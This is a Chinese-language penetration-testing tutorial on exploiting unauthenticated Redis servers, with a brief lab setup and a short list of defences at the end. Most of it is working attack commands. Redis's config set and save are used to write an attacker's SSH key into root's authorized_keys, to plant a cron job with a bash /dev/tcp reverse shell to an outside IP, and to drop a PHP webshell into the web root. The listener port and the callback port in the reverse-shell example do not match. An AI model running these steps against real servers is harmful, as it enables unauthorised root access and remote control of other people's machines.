Redis 未授权访问

基础

简介

redis是一种key-value键值对的非关系型数据库,默认运行在6379端口

它启动时不会像apache一样,以一种www-data低权限身份运行。而是以运行者的身份,例如用root权限直接运行redis时,redis的权限就是root权限

其次它的默认配置是无需密码的,也就造成了默认的未授权访问

redis还支持本地存储,也就导致了任意文件写入。从而可以写入私钥,利用私钥直接ssh登录服务器。

常用命令

连接Redis

redis-cli -h ip
# 如果是本机,则可以:
redis-cli

查看版本信息

10.10.10.133:6379>info 

查看键为 x 的值

10.10.10.133:6379>get x

设置 x 的值为 test

10.10.10.133:6379>set x "test"

查看所有键

10.10.10.133:6379>keys *

删除所有键

10.10.10.133:6379>flushall

设置 redis 本地存储的文件夹和文件名

10.10.10.133:6379>config set dir /root/.ssh
10.10.10.133:6379>config set dbfilename authorized_keys

环境搭建

攻击机与靶机为同一操作系统。

操作系统: CentOS 7.x ip: 10.10.10.133

下载编译 redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzvf redis-3.2.0.tar.gz
cd redis-3.2.0
make

修改配置文件

修改下配置文件(redis.conf),不然默认虽然是无密码,但是会有protected模式,导致无法从外部主机连接:

  • bind 127.0.0.1前面加上 # 号
  • protected-mode 设为 no

启动redis

./src/redis-server redis.conf

写入 ssh-keygen 公钥进行未授权访问

本地生成一对密钥

ssh-keygen -t rsa

可以在当前目录下生成一对 id_rsa、 id_rsa.pub。

连接靶机

./src/redis-cli -h 10.10.10.133
10.10.10.133:6379> config set dir /root/.ssh
10.10.10.133:6379> config set dbfilename authorized_keys
10.10.10.133:6379> set x "\n\n\nid_rsa.pub\n\n\n"
10.10.10.133:6379> save

其中 id_rsa.pub 代表 id_rsa.pub 文件内容。

这样就将公钥写入对方服务器了,直接用生成的私钥连接即可。

ssh 连接

需要允许私钥连接:

vim /etc/ssh/sshd_config

# 启用密钥验证 
RSAAuthentication yes
PubkeyAuthentication yes

重启 sshd 服务。

连接:

ssh -i id_rsa adminn@10.10.10.133

利用计划任务反弹 shell

先开一个终端监听本地 2222 端口

nc -nlvp 2222

写入定时命令

10.10.10.133:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.85.128/23333 0<&1 2>&1\n"
OK
10.10.10.133:6379> config set dir /var/spool/cron/
OK
10.10.10.133:6379> config set dbfilename root
OK
10.10.10.133:6379> save
OK

等待一会,便能收到反弹回来的shell。

写入 webshell

当 redis 权限较低时,可以尝试在 web 服务中写入一句话,获取 webshell

192.168.85.132:6379> set x "<?php phpinfo();?>"
OK
192.168.85.132:6379> config set dir /var/www/html
OK
192.168.85.132:6379> config set dbfilename shell.php
OK
192.168.85.132:6379> save
OK

防护

  • 限制登录 IP
  • 添加密码
  • 修改默认端口